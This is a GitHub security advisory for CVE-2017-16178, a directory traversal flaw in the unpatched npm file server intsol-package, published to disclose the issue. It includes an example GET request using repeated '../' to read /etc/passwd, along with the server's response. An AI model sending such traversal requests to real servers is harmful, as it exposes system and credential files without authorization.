GitHub Advisoryadvisory · npm
GHSA-23wc-v4mf-x7v4 Directory Traversal in intsol-package
HIGH
Official page ↗
- Aliases
- CVE-2017-16178
- Ecosystem
- npm
- Packages
- intsol-package
- Severity
- High
- CVSS vector
- CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Weaknesses
- CWE-22
- Reviewed
- 2020-06-16
Affected packages
• npm intsol-package: <= 1.0.0 (no fix yet)
Description
`intsol-package` is a file server.
`intsol-package` is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.
Example Request:
```http
GET /../../../../../../../../../../etc/passwd HTTP/1.1
host:localhost
```
and the server's Response
```http
HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked
{contents of /etc/passwd}
```
Recommendation
No patch is available for this vulnerability.
It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.
Related
Alias · CVE (1)
- CVE-2017-16178 intsol-package is a file server. vulnerability
Weakness · CWE (1)
- CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness